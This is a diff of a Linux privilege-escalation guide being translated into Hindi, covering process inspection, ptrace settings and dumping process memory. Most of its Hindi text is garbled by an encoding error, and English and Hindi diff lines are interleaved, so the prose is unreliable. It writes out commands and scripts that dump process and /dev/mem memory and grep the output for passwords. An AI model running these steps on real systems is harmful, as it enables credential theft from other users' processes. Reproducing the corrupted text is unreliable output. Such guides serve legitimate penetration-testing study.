рдЧрдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ +### рд╕реНрдерд╛рдкрд┐рдд рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ -рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ **рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреИрдХреЗрдЬ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг** рдХреНрдпрд╛ рд╣реИред рд╢рд╛рдпрдж рдХреЛрдИ рдкреБрд░рд╛рдирд╛ Nagios рд╕рдВрд╕реНрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рд╣реЛ рдЬрд┐рд╕реЗ exploited for escalating privilegesтАж\ -рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЕрдзрд┐рдХ рд╕рдВрджрд┐рдЧреНрдз рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЬрд╛рдБрдЪрд╛ рдЬрд╛рдПред +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ **рд╕реНрдерд╛рдкрд┐рдд рдкреИрдХреЗрдЬреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг** рдХреНрдпрд╛ рд╣реИред рд╢рд╛рдпрдж рдХреЛрдИ рдкреБрд░рд╛рдирд╛ Nagios рд╕рдВрд╕реНрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдореМрдЬреВрдж рд╣реЛ, рдЬрд┐рд╕реЗ escalating privileges рдХреЗ рд▓рд┐рдП exploited рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗтАж\ +рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЕрдзрд┐рдХ рд╕рдВрджрд┐рдЧреНрдз рд╕реНрдерд╛рдкрд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА рдЬрд╛рдБрдЪрд╛ рдЬрд╛рдПред ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рддрдХ SSH access рд╣реИ рддреЛ рдЖрдк рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП outdated рдФрд░ vulnerable software рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП **openVAS** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -> [!NOTE] > _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ рдХрдорд╛рдВрдбреНрд╕ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдЦрд╛рдПрдБрдЧреЗ рдЬреЛ рдЕрдзрд┐рдХрд╛рдВрд╢рддрдГ рдмреЗрдХрд╛рд░ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП OpenVAS рдЬреИрд╕реЗ рдХреБрдЫ applications рдпрд╛ рд╕рдорд╛рди рдЯреВрд▓реНрд╕ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреЛрдИ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдЬреНрдЮрд╛рдд exploits рдХреЗ рд▓рд┐рдП vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВ_ +> [!NOTE] > _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ commands рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдЦрд╛рдПрдБрдЧреЗ рдЬреЛ рдЬреНрдпрд╛рджрд╛рддрд░ рдмреЗрдХрд╛рд░ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП OpenVAS рдпрд╛ рд╕рдорд╛рди рдХреБрдЫ applications рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреЛрдИ installed software version рдЬреНрдЮрд╛рдд exploits рдХреЗ рд▓рд┐рдП vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВ_ ## Processes -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +рджреЗрдЦреЗрдВ рдХрд┐ **рдХреМрди рд╕реЗ processes** execute рд╣реЛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХрд┐рд╕реА process рдХреЗ рдкрд╛рд╕ **рдЬрд╝рд░реВрд░рдд рд╕реЗ рдЕрдзрд┐рдХ privileges** рд╣реИрдВ (рд╢рд╛рдпрдж рдХреЛрдИ tomcat root рджреНрд╡рд╛рд░рд╛ execute рд╣реЛ рд░рд╣рд╛ рд╣реИ?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -рд╣рдореАрд╢рд╛ рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреЛрдИ [**electron/cef/chromium debuggers** рдЪрд▓ рддреЛ рдирд╣реАрдВ рд░рд╣реЗ тАФ рдЗрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ privileges escalate рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ](electron-cef-chromium-debugger-abuse.md). **Linpeas** рдЗрдиреНрд╣реЗрдВ process рдХреА command line рдХреЗ рдЕрдВрджрд░ `--inspect` parameter рдХреЛ рдЪреЗрдХ рдХрд░рдХреЗ detect рдХрд░рддрд╛ рд╣реИ.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone.\ -рд╕рд╛рде рд╣реА **processes binaries рдкрд░ рдЕрдкрдиреА privileges рднреА рдЪреЗрдХ рдХрд░реЗрдВ**, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рдХреЛ overwrite рдХрд░ рд╕рдХреЗрдВред +рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред **Linpeas** рдЗрдирдХрд╛ рдкрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдореЗрдВ `--inspect` рдкреИрд░рд╛рдореАрдЯрд░ рджреЗрдЦрдХрд░ рд▓рдЧрд╛рддрд╛ рд╣реИред\ +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ **check your privileges over the processes binaries**, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реАрдХрд╛ overwrite рдХрд░ рд╕рдХреЗрдВред ### Process monitoring -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.\ -рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ monitor рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЙрди рдХрдордЬреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдмрд╛рд░тАСрдмрд╛рд░ execute рд╣реЛрддреА рд╣реИрдВ рдпрд╛ рдЬрдм рдХреБрдЫ requirements рдкреВрд░реА рд╣реЛрддреЗ рд╣реИрдВред +рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЙрди рдХрдордЬреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдмрд╛рд░-рдмрд╛рд░ рдЪрд▓рддреА рд╣реИрдВ рдпрд╛ рдЬрдм рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВред ### Process memory Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**.\ -рдХрд┐рд╕реА рд╕рд░реНрд╡рд░ рдХреА рдХреБрдЫ services memory рдХреЗ рдЕрдВрджрд░ **credentials рдХреЛ clear text рдореЗрдВ рд╕реЗрд╡** рдХрд░рддреА рд╣реИрдВред\ -рдЖрдо рддреМрд░ рдкрд░ рдЕрдиреНрдп users рдХреЗ processes рдХреА memory рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **root privileges** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рддрдм рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ root рд╣реЛрдВ рдФрд░ рдФрд░ credentials рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣реЗрдВред\ -рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ рд╕рд╛рдорд╛рдиреНрдп user рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЙрди processes рдХреА memory рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ рд╣реИрдВ**ред +рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **root privileges** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рддрдм рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ root рд╣реИрдВ рдФрд░ рдФрд░ рдЕрдзрд┐рдХ credentials рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред\ +рд╣рд╛рд▓рд╛рдБрдХрд┐, рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ**ред > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.\ -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдЬрдХрд▓ рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╢реАрдиреЛрдВ рдореЗрдВ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ ptrace рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реЛрддреА** рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ unprivileged user рдХреЗ рдЕрдиреНрдп processes рдХреЛ dump рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред -> -> рдлрд╝рд╛рдЗрд▓ _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace рдХреА рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИ: -> -> - **kernel.yama.ptrace_scope = 0**: рд╕рднреА processes рдХреЛ debug рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ рд╡рд╣реА uid рд╣реЛред рдпрд╣ ptracing рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХрд╛ рдерд╛ред -> - **kernel.yama.ptrace_scope = 1**: рдХреЗрд╡рд▓ рдПрдХ parent process рдХреЛ debug рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +> - **kernel.yama.ptrace_scope = 0**: рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ debug рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдмрд╢рд░реНрддреЗ рдЙрдирдХрд╛ uid рдПрдХ рд╕рдорд╛рди рд╣реЛред рдпрд╣ ptracing рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХрд╛ рд╣реИред +> - **kernel.yama.ptrace_scope = 1**: рдХреЗрд╡рд▓ parent рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ debug рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред > - **kernel.yama.ptrace_scope = 2**: рдХреЗрд╡рд▓ admin ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП CAP_SYS_PTRACE capability рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -> - **kernel.yama.ptrace_scope = 3**: ptrace рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рднреА process рдХреЛ trace рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░, ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП reboot рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +> - **kernel.yama.ptrace_scope = 3**: ptrace рдХреЗ рд╕рд╛рде рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ trace рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАрдВред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдкрд░, ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП reboot рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.\ -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА FTP service (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдХреА memory рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ рддреЛ рдЖрдк Heap рдирд┐рдХрд╛рд▓ рдХрд░ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХреЗ credentials рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА FTP service (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рдЖрдк Heap рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдЙрд╕рдХреЗ credentials рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash gdb -p (gdb) info proc mappings @@ -217,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB рд╕реНрдХреНрд░рд┐рдкреНрдЯ +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -230,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -рджрд┐рдП рдЧрдП process ID рдХреЗ рд▓рд┐рдП, **maps рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рдЙрд╕ рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдВ рдореЗрдореЛрд░реА рдХреИрд╕реЗ рдореИрдк рдХреА рдЬрд╛рддреА рд╣реИ** virtual address space; рдпрд╣ рд╣рд░ mapped region рдХреА **permissions рднреА рджрд┐рдЦрд╛рддреА рд╣реИ**ред рдпрд╣ **mem** pseudo file **рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдореЗрдореЛрд░реА рдХреЛ рд╕реНрд╡рдпрдВ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ**ред **maps** рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ **рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВ** рдФрд░ рдЙрдирдХреЗ рдСрдлрд╝рд╕реЗрдЯред рд╣рдо рдЗрди рдЬрд╛рдирдХрд╛рд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **mem рдлрд╝рд╛рдЗрд▓ рдореЗрдВ seek рдХрд░рдХреЗ рд╕рднреА рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЛ dump рдХрд░рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реЗрд╡ рдХрд░рддреЗ рд╣реИрдВ**ред +рдХрд┐рд╕реА рджрд┐рдП рдЧрдП process ID рдХреЗ рд▓рд┐рдП, **maps рджрд┐рдЦрд╛рддреА рд╣реИрдВ рдХрд┐ рдЙрд╕ process рдХреЗ virtual address space рдореЗрдВ memory рдХреИрд╕реЗ mapped рд╣реИ**; рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ mapped region рдХреЗ **permissions** рднреА рджрд┐рдЦрд╛рддреА рд╣реИред рдпрд╣ **mem pseudo file** **рдкреНрд░реЛрд╕реЗрд╕ рдХреА memory рдХреЛ рд╕реНрд╡рдпрдВ expose рдХрд░рддрд╛ рд╣реИ**ред **maps** file рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдХреМрдитАСрд╕реЗ **memory regions readable рд╣реИрдВ** рдФрд░ рдЙрдирдХреЗ offsets рдХреНрдпрд╛ рд╣реИрдВред рд╣рдо рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **mem file рдореЗрдВ seek рдХрд░рдХреЗ рд╕рднреА readable regions рдХреЛ рдПрдХ рдлрд╛рдЗрд▓ рдореЗрдВ dump рдХрд░рддреЗ рд╣реИрдВ**ред ```bash procdump() ( @@ -245,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` рд╕рд┐рд╕реНрдЯрдо рдХреА **рднреМрддрд┐рдХ** рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рди рдХрд┐ рдЖрднрд╛рд╕реА рдореЗрдореЛрд░реА рддрдХред рдХрд░реНрдиреЗрд▓ рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рддрдХ /dev/kmem рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ.\\ -рдЖрдорддреМрд░ рдкрд░, `/dev/mem` рдХреЗрд╡рд▓ **root** рдФрд░ **kmem** group рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +`/dev/mem` рд╕рд┐рд╕реНрдЯрдо рдХреА **рднреМрддрд┐рдХ** рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рди рдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реАред рдХрд░реНрдиреЗрд▓ рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рддрдХ /dev/kmem рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ.\ +рдЖрдо рддреМрд░ рдкрд░, `/dev/mem` рдХреЗрд╡рд▓ **root** рдФрд░ **kmem** рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИред ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump рдХреЗ рд▓рд┐рдП linux -ProcDump Windows рдХреЗ Sysinternals рдЯреВрд▓ рд╕реВрдЯ рдХреЗ рдХреНрд▓рд╛рд╕рд┐рдХ ProcDump рдЯреВрд▓ рдХреА Linux рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдХрд▓реНрдкрдирд╛ рд╣реИред рдЗрд╕реЗ рдпрд╣рд╛рдБ рдкрд╛рдПрдВ: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump Windows рдХреЗ Sysinternals рд╕реВрдЯ рдореЗрдВ рдореМрдЬреВрдж рдХреНрд▓рд╛рд╕рд┐рдХ ProcDump рдЯреВрд▓ рдХреА Linux рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдХрд▓реНрдкрдирд╛ рд╣реИред рдЗрд╕реЗ рдпрд╣рд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -279,33 +264,33 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### рдЯреВрд▓реНрд╕ +### рдЙрдкрдХрд░рдг -To dump a process memory you could use: +process memory рдХреЛ dump рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓реА root рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рдХрд░ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ рдкреНрд░реЛрд╕реЗрд╕ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ root рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рдХрд░ рдЕрдкрдиреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root рдЖрд╡рд╢реНрдпрдХ рд╣реИ) -### рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ +### Process Memory рд╕реЗ Credentials -#### рдореИрдиреБрдЕрд▓ рдЙрджрд╛рд╣рд░рдг +#### рдореИрдиреНрдпреБрдЕрд▓ рдЙрджрд╛рд╣рд░рдг -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ authenticator рдкреНрд░реЛрд╕реЗрд╕ рдЪрд▓ рд░рд╣рд╛ рд╣реИ: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ authenticator process рдЪрд▓ рд░рд╣рд╛ рд╣реИ: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -рдЖрдк process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд╣рд▓реЗ рдХреЗ рд╕реЗрдХреНрд╢рдиреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ process рдХреА memory dump рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рдорд┐рд▓реЗрдВ) рдФрд░ memory рдХреЗ рдЕрдВрджрд░ credentials рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд╣рд▓реЗ рдХреЗ рдЕрдиреБрднрд╛рдЧ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ process рдХреА memory рдХреЛ dump рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рдорд┐рд▓реЗрдВ) рдФрд░ memory рдХреЗ рдЕрдВрджрд░ credentials рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` 